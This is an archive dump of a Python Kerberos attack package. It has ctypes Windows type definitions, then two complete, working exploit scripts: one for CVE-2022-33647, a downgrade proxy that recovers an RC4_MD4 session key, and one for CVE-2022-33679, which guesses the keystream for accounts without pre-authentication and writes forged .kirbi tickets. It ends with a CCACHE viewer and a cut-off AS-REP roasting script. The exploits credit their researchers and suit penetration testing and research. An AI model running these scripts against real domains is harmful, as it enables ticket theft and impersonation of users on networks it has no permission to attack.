POINTER(DWORD_PTR) PULONG = LPULONG PLONG = LPLONG CCHAR = CHAR BOOLEAN = BYTE PBOOL = POINTER(BOOL) LPBOOL = PBOOL TCHAR = CHAR # XXX ANSI by default? UCHAR = BYTE DWORDLONG = ULONGLONG LPDWORD32 = POINTER(DWORD32) LPULONG32 = POINTER(ULONG32) LPDWORD64 = POINTER(DWORD64) LPULONG64 = POINTER(ULONG64) PDWORD32 = LPDWORD32 PULONG32 = LPULONG32 PDWORD64 = LPDWORD64 PULONG64 = LPULONG64 ATOM = WORD HANDLE = LPVOID PHANDLE = POINTER(HANDLE) LPHANDLE = PHANDLE HMODULE = HANDLE HINSTANCE = HANDLE HTASK = HANDLE HKEY = HANDLE PHKEY = POINTER(HKEY) HDESK = HANDLE HRSRC = HANDLE HSTR = HANDLE HWINSTA = HANDLE HKL = HANDLE HDWP = HANDLE HFILE = HANDLE HRESULT = LONG HGLOBAL = HANDLE HLOCAL = HANDLE HGDIOBJ = HANDLE HDC = HGDIOBJ HRGN = HGDIOBJ HBITMAP = HGDIOBJ HPALETTE = HGDIOBJ HPEN = HGDIOBJ HBRUSH = HGDIOBJ HMF = HGDIOBJ HEMF = HGDIOBJ HENHMETAFILE = HGDIOBJ HMETAFILE = HGDIOBJ HMETAFILEPICT = HGDIOBJ HWND = HANDLE NTSTATUS = LONG PNTSTATUS = POINTER(NTSTATUS) KAFFINITY = ULONG_PTR RVA = DWORD RVA64 = QWORD WPARAM = DWORD LPARAM = LPVOID LRESULT = LPVOID ACCESS_MASK = DWORD REGSAM = ACCESS_MASK PACCESS_MASK = POINTER(ACCESS_MASK) PREGSAM = POINTER(REGSAM) # Since the SID is an opaque structure, let's treat its pointers as void* PSID = PVOID # typedef union _LARGE_INTEGER { # struct { # DWORD LowPart; # LONG HighPart; # } ; # struct { # DWORD LowPart; # LONG HighPart; # } u; # LONGLONG QuadPart; # } LARGE_INTEGER, # *PLARGE_INTEGER; # XXX TODO # typedef struct _FLOAT128 { # __int64 LowPart; # __int64 HighPart; # } FLOAT128; class FLOAT128 (Structure): _fields_ = [ ("LowPart", QWORD), ("HighPart", QWORD), ] PFLOAT128 = POINTER(FLOAT128) # typedef struct DECLSPEC_ALIGN(16) _M128A { # ULONGLONG Low; # LONGLONG High; # } M128A, *PM128A; class M128A(Structure): _fields_ = [ ("Low", ULONGLONG), ("High", LONGLONG), ] PM128A = POINTER(M128A) #--- Constants ---------------------------------------------------------------- NULL = None INFINITE = -1 TRUE = 1 FALSE = 0 # http://blogs.msdn.com/oldnewthing/archive/2004/08/26/220873.aspx ANYSIZE_ARRAY = 1 # Invalid handle value is -1 casted to void pointer. try: INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value #-1 #0xFFFFFFFF except TypeError: if sizeof(ctypes.c_void_p) == 4: INVALID_HANDLE_VALUE = 0xFFFFFFFF elif sizeof(ctypes.c_void_p) == 8: INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF else: raise MAX_MODULE_NAME32 = 255 MAX_PATH = 260 # Error codes # TODO maybe add more error codes? # if they're too many they could be pickled instead, # or at the very least put in a new file ERROR_SUCCESS = 0 ERROR_INVALID_FUNCTION = 1 ERROR_FILE_NOT_FOUND = 2 ERROR_PATH_NOT_FOUND = 3 ERROR_ACCESS_DENIED = 5 ERROR_INVALID_HANDLE = 6 ERROR_NOT_ENOUGH_MEMORY = 8 ERROR_INVALID_DRIVE = 15 ERROR_NO_MORE_FILES = 18 ERROR_BAD_LENGTH = 24 ERROR_HANDLE_EOF = 38 ERROR_HANDLE_DISK_FULL = 39 ERROR_NOT_SUPPORTED = 50 ERROR_FILE_EXISTS = 80 ERROR_INVALID_PARAMETER = 87 ERROR_BUFFER_OVERFLOW = 111 ERROR_DISK_FULL = 112 ERROR_CALL_NOT_IMPLEMENTED = 120 ERROR_SEM_TIMEOUT = 121 ERROR_INSUFFICIENT_BUFFER = 122 ERROR_INVALID_NAME = 123 ERROR_MOD_NOT_FOUND = 126 ERROR_PROC_NOT_FOUND = 127 ERROR_DIR_NOT_EMPTY = 145 ERROR_BAD_THREADID_ADDR = 159 ERROR_BAD_ARGUMENTS = 160 ERROR_BAD_PATHNAME = 161 ERROR_ALREADY_EXISTS = 183 ERROR_INVALID_FLAG_NUMBER = 186 ERROR_ENVVAR_NOT_FOUND = 203 ERROR_FILENAME_EXCED_RANGE = 206 ERROR_MORE_DATA = 234 WAIT_TIMEOUT = 258 ERROR_NO_MORE_ITEMS = 259 ERROR_PARTIAL_COPY = 299 ERROR_INVALID_ADDRESS = 487 ERROR_THREAD_NOT_IN_PROCESS = 566 ERROR_CONTROL_C_EXIT = 572 ERROR_UNHANDLED_EXCEPTION = 574 ERROR_ASSERTION_FAILURE = 668 ERROR_WOW_ASSERTION = 670 ERROR_DBG_EXCEPTION_NOT_HANDLED = 688 ERROR_DBG_REPLY_LATER = 689 ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690 ERROR_DBG_TERMINATE_THREAD = 691 ERROR_DBG_TERMINATE_PROCESS = 692 ERROR_DBG_CONTROL_C = 693 ERROR_DBG_PRINTEXCEPTION_C = 694 ERROR_DBG_RIPEXCEPTION = 695 ERROR_DBG_CONTROL_BREAK = 696 ERROR_DBG_COMMAND_EXCEPTION = 697 ERROR_DBG_EXCEPTION_HANDLED = 766 ERROR_DBG_CONTINUE = 767 ERROR_ELEVATION_REQUIRED = 740 ERROR_NOACCESS = 998 ERROR_CIRCULAR_DEPENDENCY = 1059 ERROR_SERVICE_DOES_NOT_EXIST = 1060 ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061 ERROR_SERVICE_NOT_ACTIVE = 1062 ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063 ERROR_EXCEPTION_IN_SERVICE = 1064 ERROR_DATABASE_DOES_NOT_EXIST = 1065 ERROR_SERVICE_SPECIFIC_ERROR = 1066 ERROR_PROCESS_ABORTED = 1067 ERROR_SERVICE_DEPENDENCY_FAIL = 1068 ERROR_SERVICE_LOGON_FAILED = 1069 ERROR_SERVICE_START_HANG = 1070 ERROR_INVALID_SERVICE_LOCK = 1071 ERROR_SERVICE_MARKED_FOR_DELETE = 1072 ERROR_SERVICE_EXISTS = 1073 ERROR_ALREADY_RUNNING_LKG = 1074 ERROR_SERVICE_DEPENDENCY_DELETED = 1075 ERROR_BOOT_ALREADY_ACCEPTED = 1076 ERROR_SERVICE_NEVER_STARTED = 1077 ERROR_DUPLICATE_SERVICE_NAME = 1078 ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079 ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080 ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081 ERROR_NO_RECOVERY_PROGRAM = 1082 ERROR_SERVICE_NOT_IN_EXE = 1083 ERROR_NOT_SAFEBOOT_SERVICE = 1084 ERROR_DEBUGGER_INACTIVE = 1284 ERROR_PRIVILEGE_NOT_HELD = 1314 ERROR_NONE_MAPPED = 1332 RPC_S_SERVER_UNAVAILABLE = 1722 # Standard access rights DELETE = 0x00010000 READ_CONTROL = 0x00020000 WRITE_DAC = 0x00040000 WRITE_OWNER = 0x00080000 SYNCHRONIZE = 0x00100000 STANDARD_RIGHTS_REQUIRED = 0x000F0000 STANDARD_RIGHTS_READ = READ_CONTROL STANDARD_RIGHTS_WRITE = READ_CONTROL STANDARD_RIGHTS_EXECUTE = READ_CONTROL STANDARD_RIGHTS_ALL = 0x001F0000 SPECIFIC_RIGHTS_ALL = 0x0000FFFF #--- Structures --------------------------------------------------------------- # typedef struct _LSA_UNICODE_STRING { # USHORT Length; # USHORT MaximumLength; # PWSTR Buffer; # } LSA_UNICODE_STRING, # *PLSA_UNICODE_STRING, # UNICODE_STRING, # *PUNICODE_STRING; class UNICODE_STRING(Structure): _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", PWSTR), ] # From MSDN: # # typedef struct _GUID { # DWORD Data1; # WORD Data2; # WORD Data3; # BYTE Data4[8]; # } GUID; class GUID(Structure): _fields_ = [ ("Data1", DWORD), ("Data2", WORD), ("Data3", WORD), ("Data4", BYTE * 8), ] # From MSDN: # # typedef struct _LIST_ENTRY { # struct _LIST_ENTRY *Flink; # struct _LIST_ENTRY *Blink; # } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; class LIST_ENTRY(Structure): _fields_ = [ ("Flink", PVOID), # POINTER(LIST_ENTRY) ("Blink", PVOID), # POINTER(LIST_ENTRY) ] #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) ##__all__ = [_x for _x in _all if not _x.startswith('_')] ##__all__.sort() #==============================================================================././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/kerbad/examples/0000777000175000000000000000000015137335015015176 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987013.0 kerbad-0.5.10/kerbad/examples/CVE_2022_33647.py0000777000175000000000000002503115056277205017412 0ustar00silverroot# Exploit for CVE-2022-33647 # # This attack will work if the following conditions are met: # - DC is not patched # - DC allows RC4_MD4 kerberos cipher to be used. Etype: -128 # - You can coerce the target machine to connect to your machine on port 88 # # Original project-zero issue: https://bugs.chromium.org/p/project-zero/issues/detail?id=2310 # Writeup: https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html # # Found by: # James Forshaw (@tiraniddo), Project Zero # # This code by: # Tamas Jos (@skelsec) # import asyncio import traceback import datetime import base64 from kerbad.protocol.asn1_structs import KerberosMessage, \ METHOD_DATA, ETYPE_INFO, ETYPE_INFO2, PA_DATA, KRB_ERROR,\ PrincipalName, EncryptedData, HostAddress, AS_REQ, EncryptionKey,\ TicketFlags, KrbCredInfo, EncKrbCredPart, KRB_CRED from kerbad.protocol.constants import PaDataType from kerbad.common.creds import KerberosCredential from kerbad.common.target import KerberosTarget from kerbad.common.spn import KerberosSPN from kerbad.aioclient import AIOKerberosClient from kerbad.protocol.encryption import Key, _enctype_table def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) ts_len_hdr_lookup = { 26: bytes.fromhex('a1030201'), 27: bytes.fromhex('a1040202'), 28: bytes.fromhex('a1050203'), 29: bytes.fromhex('a1060204'), } def format_kirbi(data, n = 100): kd = base64.b64encode(data).decode() return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)]) def tgt_to_kirbi(tgt, sessionkey, now): keyd = { 'keytype': -128, 'keyvalue': sessionkey } ci = {} ci['key'] = EncryptionKey(keyd) ci['prealm'] = tgt['crealm'] ci['pname'] = tgt['cname'] ci['flags'] = TicketFlags(set(['enc-pa-rep', 'forwardable', 'renewable', 'initial', 'proxiable'])) #guessing... ci['authtime'] = now ci['starttime'] = now ci['endtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) ci['renew-till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) ci['srealm'] = tgt['crealm'] # guessing! modify this if not valid.... ci['sname'] = PrincipalName({'name-type': 1, 'name-string': ['krbtgt', tgt['crealm']]}) ti = {} ti['ticket-info'] = [KrbCredInfo(ci)] te = {} te['etype'] = 0 te['cipher'] = EncKrbCredPart(ti).dump() t = {} t['pvno'] = 5 t['msg-type'] = 22 t['enc-part'] = EncryptedData(te) t['tickets'] = [tgt['ticket']] return KRB_CRED(t) def calc_known_plaintext(cipher): # returns the known values for the initial structure which depends on the length # original data starts with 24 bytes of \x00 then the ASN1 struct # the first 24 bytes is where the cofounder and mac should be but in this case it's just zeroes data_length = len(cipher) if data_length <= 127: raise Exception('NO') first_len = data_length - 4 second_len = first_len - 4 if first_len < 127: fl = first_len.to_bytes(1, byteorder='big', signed=False) elif first_len < 256: fl = b'\x81' + first_len.to_bytes(1, byteorder='big', signed=False) else: fl = b'\x82' + first_len.to_bytes(2, byteorder='big', signed=False) if second_len < 127: sl = second_len.to_bytes(1, byteorder='big', signed=False) elif second_len < 256: sl = b'\x81' + second_len.to_bytes(1, byteorder='big', signed=False) else: sl = b'\x82' + second_len.to_bytes(2, byteorder='big', signed=False) return b'\x79' + fl + b'\x30'+ sl +b'\xA0\x1B\x30\x19\xA0\x03\x02\x01\x80\xA1\x12\x04\x10' def get_padding_data(): # for the attack to work, we need a TGT with a larger-than-normal AS-REP enc-data # we achieve this by adding a lot of hostaddresses in the AS-REQ, # which will be reflected in the AS-REP hosts = [] for x in range(50): hd = { 'addr-type' : 1, 'address' : b'\x00'*2 + x.to_bytes(2, byteorder='big', signed=False) } hosts.append(HostAddress(hd)) return hosts class KerberosProxy: def __init__(self, dc_ip, listen_ip, dc_port = 88, listen_port = 88): self.dc_ip = dc_ip self.dc_port = dc_port self.listen_ip = listen_ip self.listen_port = listen_port async def read_ticket(self, reader): try: ticketlenraw = await reader.readexactly(4) ticketlen = int.from_bytes(ticketlenraw, byteorder = 'big', signed = False) ticketdata = await reader.readexactly(ticketlen) ticket = KerberosMessage.load(ticketdata) ticketnative= ticket.native return ticketdata, ticket, ticketnative, None except Exception as e: return None, None, None, e async def send_ticket(self, writer, ticketdata): try: tlen = len(ticketdata).to_bytes(4, byteorder = 'big', signed = False) writer.write(tlen + ticketdata) await writer.drain() return True, None except Exception as e: return None, e async def handle_client(self, reader, writer): dcwriter = None try: addr = writer.get_extra_info('peername') saddr = '%s:%s' % (addr[0], addr[1]) print('[+] Client connected from %s' % (saddr)) ticketdata, ticket, ticketnative, err = await self.read_ticket(reader) if err is not None: raise err if ticketnative['msg-type'] != 10: print('[-] Not expected ticket arrived from client. Msg type: %s' % ticketnative['msg-type']) return for padata in ticketnative['padata']: if padata['padata-type'] == 2: #and padata[]: ed = EncryptedData.load(padata['padata-value']).native if ed['etype'] == -128: enc_timestamp = ed['cipher'][24:] break #This is AS-REQ else: # not the expected encryption type, sending error message to client, # informing it that we only support etype -128 print('[+] Downgrading Kerberos encryption to RC4_MD4') now = datetime.datetime.now(datetime.timezone.utc) realm = ticketnative['req-body']['realm'] pad1 = PA_DATA({ 'padata-type' : PaDataType.ETYPE_INFO2.value, 'padata-value': ETYPE_INFO2([{'etype' : -128}]).dump() }) pad2 = PA_DATA({ 'padata-type' : 2, 'padata-value': b'', }) pad3 = PA_DATA({ 'padata-type' : 15, 'padata-value': b'', }) pad4 = PA_DATA({ 'padata-type' : 16, 'padata-value': b'', }) md = [pad1, pad2, pad3, pad4] err = { 'pvno' : 5, 'msg-type': 30, #'ctime': None #'cusec': None, 'stime' : now.replace(microsecond=0), 'susec' : now.microsecond, 'error-code' : 25, #'crealm' : None, #'cname' : None, 'realm' : realm, 'sname' : PrincipalName({'name-type': 1, 'name-string': ['krbtgt', realm]}),# krbtgt name.., #'e-text' : None, 'e-data': METHOD_DATA(md).dump() } ticketdata = KRB_ERROR(err).dump() _, err = await self.send_ticket(writer, ticketdata) if err is not None: raise err return print('[+] Connecting to DC at %s:%s' % (self.dc_ip, self.dc_port)) dcreader, dcwriter = await asyncio.open_connection(self.dc_ip, self.dc_port) print('[+] Connected to DC!') print('[+] Modifying original AS-REQ...') ticketnative['req-body']['addresses'] = get_padding_data() modded_ticket = AS_REQ(ticketnative).dump() _, err = await self.send_ticket(dcwriter, modded_ticket) if err is not None: raise err print('[+] Submitting original AS-REQ to DC') rticketdata, rticket, rticketnative, err = await self.read_ticket(dcreader) if err is not None: raise err print('[+] Got AS-REP with the correct enctype!') cipher_data = rticketnative['enc-part']['cipher'][24:] known_plaintext = calc_known_plaintext(rticketnative['enc-part']['cipher'][24:]) if len(known_plaintext) < 21: print('[-] AS-REP cipher data too short! Will not work..') return print('[i] ENC TIMESTAMP: %s' % enc_timestamp.hex()) print('[i] AS-REP CIPHER: %s' % cipher_data.hex()[:0x40]) ts_bytes = enc_timestamp[len(known_plaintext):] cipher_bytes = cipher_data[len(known_plaintext):] keystream = byte_xor(ts_bytes, ts_len_hdr_lookup[len(enc_timestamp)]) dec_key = byte_xor(keystream, cipher_bytes) print('[i] ENC BYTESTREAM : %s' % ts_bytes.hex()) print('[i] CIP BYTESTREAM : %s' % cipher_bytes.hex()[:0x40]) print('[i] KNOWN PLAINTEXT : %s' % known_plaintext.hex()) print('[i] KEYSTREAM FROM TS: %s' % keystream.hex()) print('[i] DEC KEY - 4 BYTES: %s' % dec_key.hex()) print('[+] Guessing last bytes of the session key...') target = KerberosTarget(self.dc_ip) credential = KerberosCredential() credential.username = ticketnative['req-body']['cname']['name-string'][0] credential.domain = ticketnative['req-body']['realm'] credential.password = 'A' client = AIOKerberosClient(credential, target) client.kerberos_TGT = rticketnative for i in range(256): i = i.to_bytes(1, byteorder='big', signed=False) keyguess = dec_key + i + b'\xAB'*11 print('[i] GUESSING KEY: %s' % keyguess.hex()) client.kerberos_TGT = rticketnative client.kerberos_cipher = _enctype_table[-128] client.kerberos_cipher_type = -128 client.kerberos_session_key = Key(-128, keyguess) try: await client.get_TGS(KerberosSPN.from_upn('krbtgt@test.corp')) except Exception as e: continue else: now = datetime.datetime.now(datetime.timezone.utc).replace(microsecond=0) print('[+] GUESSED CORRECTLY! SESSIONKEY: %s' % keyguess.hex()) kirbi = tgt_to_kirbi(rticketnative, keyguess, now).dump() print('[+] KIRBI DATA:') print(format_kirbi(kirbi)) filename = '%s.kirbi' % (now.strftime("%Y%m%d_%H%M%S")) print('[+] Writing .kirbi file to: %s' % filename) with open(filename, 'wb') as f: f.write(kirbi) return except Exception as e: traceback.print_exc() #return None, e finally: if dcwriter is not None: dcwriter.close() writer.close() async def run(self): try: server = await asyncio.start_server(self.handle_client, host=self.listen_ip, port=self.listen_port) async with server: await server.serve_forever() return True, None except Exception as e: traceback.print_exc() return None, e async def amain(): import argparse parser = argparse.ArgumentParser(description='Kerberos proxy to exploit CVE-2022-33647') parser.add_argument('dcip', help='IP/hostname of the domain controller') parser.add_argument('--dc-port', default=88, type=int, help='Port of the Kerberos service on the DC.') parser.add_argument('--listen-ip', default='127.0.0.1', help='IP/hostname to listen for incoming kerberos traffic') parser.add_argument('--listen-port', default=88, type=int, help='IP/hostname to listen for incoming kerberos traffic') args = parser.parse_args() kp = KerberosProxy(args.dcip, args.listen_ip, args.dc_port, args.listen_port) await kp.run() def main(): asyncio.run(amain()) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987017.0 kerbad-0.5.10/kerbad/examples/CVE_2022_33679.py0000777000175000000000000002124615056277211017420 0ustar00silverroot# Exploit for CVE-2022-33679 # # This attack will work if the following conditions are met: # - DC is not patched # - Target user account is marked with the "Do not require Kerberos preauthentication" flag (check UAC) # - DC allows RC4_MD4 kerberos cipher to be used. Etype: -128 # # Original project-zero issue: https://bugs.chromium.org/p/project-zero/issues/detail?id=2310 # Writeup: https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html # # Found by: # James Forshaw (@tiraniddo), Project Zero # # This code by: # Tamas Jos (@skelsec) # import datetime import logging import kerbad LOG = kerbad.getLogger() import asyncio import base64 from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.aioclient import AIOKerberosClient from kerbad.protocol.constants import EncryptionType from kerbad.protocol.encryption import Key, _enctype_table from kerbad.protocol.asn1_structs import PA_ENC_TS_ENC, HostAddress,\ KRB_CRED, KrbCredInfo, EncKrbCredPart, EncryptedData, EncryptionKey,\ PrincipalName, TicketFlags def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def get_padding_data(): # for the attack to work, we need a TGT with a larger-than-normal AS-REP enc-data # we achieve this by adding a lot of hostaddresses in the AS-REQ, # which will be reflected in the AS-REP hosts = [] for x in range(50): hd = { 'addr-type' : 1, 'address' : b'\x00'*2 + x.to_bytes(2, byteorder='big', signed=False) } hosts.append(HostAddress(hd)) return hosts def calc_known_plaintext(cipher): # returns the known values for the initial structure which depends on the length # original data starts with 24 bytes of \x00 then the ASN1 struct # the first 24 bytes is where the cofounder and mac should be but in this case it's just zeroes cipher_length = len(cipher) if cipher_length <= 127: raise Exception('NO') header_length = 24 data_length = cipher_length - header_length first_len = data_length - 4 second_len = first_len - 4 return b'\x00'*24 + b'\x79\x82' + first_len.to_bytes(2, byteorder='big', signed=False) + b'\x30\x82'+ second_len.to_bytes(2, byteorder='big', signed=False) +b'\xA0\x1B\x30\x19\xA0\x03\x02\x01\x80\xA1\x12\x04\x10' def get_crafted_timestamp(n, now): # manually crafting a timestamp field for this exploit to work is an # interesting yet painful thing to do. # See the writeup for more info, it's too long to explain here now = datetime.datetime.now(datetime.timezone.utc).replace(microsecond=0) nowstr = now.strftime('%Y%m%d%H%M%SZ') t = nowstr.encode() + b'\x00' tt = b'\x18'+len(t).to_bytes(1, byteorder='big', signed=False) + t ts_end = b'\xA0' + len(tt).to_bytes(1, byteorder='big', signed=False) + tt if n == 0: timestamp = b'\x30' + len(ts_end).to_bytes(1, byteorder='big', signed=False) + ts_end else: x = (0x80 + n).to_bytes(1, byteorder='big', signed=False) + b'\x00'*(n-1) + len(ts_end).to_bytes(1, byteorder='big', signed=False) timestamp = b'\x30'+ x + ts_end return timestamp def format_kirbi(data, n = 100): kd = base64.b64encode(data).decode() return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)]) def tgt_to_kirbi(tgt, sessionkey, now): keyd = { 'keytype': -128, 'keyvalue': sessionkey } ci = {} ci['key'] = EncryptionKey(keyd) ci['prealm'] = tgt['crealm'] ci['pname'] = tgt['cname'] ci['flags'] = TicketFlags(set(['enc-pa-rep', 'forwardable', 'renewable', 'initial', 'proxiable'])) #guessing... ci['authtime'] = now ci['starttime'] = now ci['endtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) ci['renew-till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) ci['srealm'] = tgt['crealm'] # guessing! modify this if not valid.... ci['sname'] = PrincipalName({'name-type': 1, 'name-string': ['krbtgt', tgt['crealm']]}) ti = {} ti['ticket-info'] = [KrbCredInfo(ci)] te = {} te['etype'] = 0 te['cipher'] = EncKrbCredPart(ti).dump() t = {} t['pvno'] = 5 t['msg-type'] = 22 t['enc-part'] = EncryptedData(te) t['tickets'] = [tgt['ticket']] return KRB_CRED(t) async def exploit(kerberos_url, kirbifile=None): cu = KerberosClientFactory.from_url(kerberos_url) print('[+] FETCHING TGT...') client = cu.get_client() padding_data = { 'addresses' : get_padding_data() } craftticket = client.build_asreq_lts(EncryptionType.ARCFOUR_MD4, kdc_req_body_extra=padding_data, no_preauth=True) rep = await client.ksoc.sendrecv(craftticket.dump()) tgt = rep.native print('[+] GOT TGT...') now = datetime.datetime.now(datetime.timezone.utc).replace(microsecond=0) timestamp = PA_ENC_TS_ENC({'patimestamp': now.replace(microsecond=0)}).dump() # cipher_data = tgt['enc-part']['cipher'] plaintext_data = calc_known_plaintext(cipher_data) cipher_data_header = cipher_data[:len(plaintext_data)] print('[+] PLAINTEXT FRAGMENT: %s ' % plaintext_data.hex()) keystream = byte_xor(cipher_data_header, plaintext_data) print('[+] PARTIAL KEYSTREAM : %s' % keystream.hex()) # verifying the guessed partial keystream by requesting a TGT but this time with pre-auth # the pre-auth will need the encrypted timestamp which we can forge with the partial keystream print('[+] VERIFYING KEYSTREAM...') print('[i] TIMESTAMP : %s' % timestamp.hex()) enc_timestamp = byte_xor(b'\x00'*24+timestamp, keystream) print('[i] ENC TIMESTAMP: %s' % enc_timestamp.hex()) craftticket = client.build_asreq_lts(EncryptionType.ARCFOUR_MD4, enctimestamp=enc_timestamp, newnow=now) #print('[i] CRAFTED AS-REQ: %s' % craftticket.dump().hex()) rep = await client.ksoc.sendrecv(craftticket.dump()) rep = rep.native if rep['msg-type'] == 30: print('[-] FAILED! Keystream is not good') return print('[+] PARTIAL KEYSTREAM WORKS! Got code : %s' % rep['msg-type']) print('[+] GUESSING REMAINING KEYSTREAM BYTES...') ctr = 0 orig_keystream_len = len(keystream) for tslen in range(0,4): #5 is minumum for byteguess in range(256): ctr += 1 byteguess = byteguess.to_bytes(1, byteorder='big', signed=False) keystream_guess = keystream + byteguess timestamp = get_crafted_timestamp(tslen, now) #print('TIMESTAMP ASCII : %s' % timestamp) #print('TIMESTAMP : %s' % timestamp.hex()) #print('GUESSED KEYSTREAM: %s' % (keystream_guess).hex()) enc_timestamp = byte_xor(b'\x00'*24+timestamp, keystream_guess) #print('ENC TIMESTAMP : %s' % enc_timestamp.hex()) craftticket = client.build_asreq_lts(EncryptionType.ARCFOUR_MD4, enctimestamp=enc_timestamp, newnow=now) #print('CRAFTED AS-REQ: %s' % craftticket.dump().hex()) rep = await client.ksoc.sendrecv(craftticket.dump()) rep = rep.native if rep['msg-type'] == 30: #print('Guessed wrong...') continue print('[+] Correctly guessed keystream byte position %s: 0x%s' % (hex(orig_keystream_len+tslen), byteguess.hex())) keystream = keystream_guess break else: print('All guesses failed!!!') return print('[+] GUESSED KEYSTREAM IN %s ITERATIONS' % ctr) now = datetime.datetime.now(datetime.timezone.utc).replace(microsecond=0) timestamp = PA_ENC_TS_ENC({'patimestamp': now.replace(microsecond=0)}).dump() # #creating timestamp asn1 print('[+] REQUESTING FRESH TGT') enc_timestamp = byte_xor(b'\x00'*24+timestamp, keystream) craftticket = client.build_asreq_lts(EncryptionType.ARCFOUR_MD4, enctimestamp=enc_timestamp, newnow=now) rep = await client.ksoc.sendrecv(craftticket.dump()) rep = rep.native if rep['msg-type'] == 30: print('FAILED! Keystream is not good :(') return print('[+] DECRYPTING AS-REP WITH KEYSTREAM') dec_data = byte_xor(rep['enc-part']['cipher'], keystream) session_key = dec_data[43:48] + b'\xAB' * 11 print('[+] FOUND SESSION KEY: %s' % session_key.hex()) client.kerberos_TGT = rep client.kerberos_cipher = _enctype_table[-128] client.kerberos_cipher_type = -128 client.kerberos_session_key = Key(-128, session_key) kirbi = tgt_to_kirbi(rep, session_key, now).dump() print('[+] KIRBI DATA:') print(format_kirbi(kirbi)) filename = '%s.kirbi' % (now.strftime("%Y%m%d_%H%M%S")) if kirbifile is not None: filename = kirbifile print('[+] Writing .kirbi file to: %s' % filename) with open(filename, 'wb') as f: f.write(kirbi) def main(): import argparse parser = argparse.ArgumentParser(description='Fetches TGT&session key for user who doesnt need kerberos preauth. CVE-2022-33679.', usage='Use it with a valid kerberus URL but any password. Example: "cve202233679 \'kerberos+none://TEST\\asreptest@10.10.10.2\'"') parser.add_argument('kerberos_url', help='the kerberos target string. ') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) asyncio.run(exploit(args.kerberos_url)) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/examples/__init__.py0000777000175000000000000000000014760576506017315 0ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756986988.0 kerbad-0.5.10/kerbad/examples/__main__.py0000777000175000000000000000154015056277154017304 0ustar00silverrootimport os import logging import kerbad LOG = kerbad.getLogger() import ntpath from kerbad.ccache import CCACHE, Credential from kerbad.common import print_table from kerbad import logger def main(): import argparse parser = argparse.ArgumentParser(description='Prints CCACHE file info') parser.add_argument('ccachefile', help='input CCACHE file') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() ###### VERBOSITY if args.verbose > 0: LOG.setLevel(logging.DEBUG) LOG.debug('Opening file %s' % args.ccachefile) cc = CCACHE.from_file(args.ccachefile) table = [] table.append(['id'] + Credential.summary_header()) i = 0 for cred in cc.credentials: table.append([str(i)] + cred.summary()) i += 1 print() #this line intentionally left blank print_table(table) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756986992.0 kerbad-0.5.10/kerbad/examples/asreproast.py0000777000175000000000000000553615056277160017755 0ustar00silverrootimport logging import kerbad LOG = kerbad.getLogger() import asyncio import traceback import pathlib from kerbad.common.target import KerberosTarget from kerbad.security import asreproast as asreproast_sec from typing import List async def asreproast(kerberos_server:str, users:List[str], domain:str, out_file:str = None, etypes:List[int] = [23,17,18]): try: results_ok = [] results_err = [] cu = KerberosTarget(ip=kerberos_server) if isinstance(users, list) is False: users = [users] users_final = [] for user in users: if isinstance(user, str): if pathlib.Path(user).exists(): with open(user, 'r') as f: users_final.extend(f.read().splitlines()) else: users_final.append(user) if isinstance(etypes, list) is False: etypes = [etypes] etypes_final = [] for etype in etypes: if isinstance(etype, str): etypes_final.extend([int(x) for x in etype.split(',')]) if isinstance(etypes, int): etypes_final.append(etype) etypes = etypes_final users = users_final if domain is None: raise Exception('No domain specified') users_nodomain = [] for username in users: if username.find('@') != -1: users_nodomain.append(username.split('@')[0]) else: users_nodomain.append(username) username = None async for username, res, err in asreproast_sec(cu, users_nodomain, domain, override_etype=etypes): if err is not None: results_err.append((username, err)) continue results_ok.append((username, res)) if out_file is not None: with open(out_file, 'w', newline='') as f: for _, result in results_ok: f.write(result + '\r\n') for username, err in results_err: print('%s error: %s' % (username, err)) for _, result in results_ok: print(result) except Exception as e: traceback.print_exc() async def amain(): import argparse parser = argparse.ArgumentParser(description='Asreproast', formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('kerberos_server', help='Kerberos server IP or hostname') parser.add_argument('domain', help='Realm. Use this if you specify username in "spn" field') parser.add_argument('users', nargs ='*', help='User/username to kerberoast. Can be a file with usernames, or a single username.') parser.add_argument('-e', '--etypes', default='23,17,18', help='Encryption types to use. Default: 23,17,18') parser.add_argument('-o', '--out-file', help='Write results to this file instead of printing them') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) 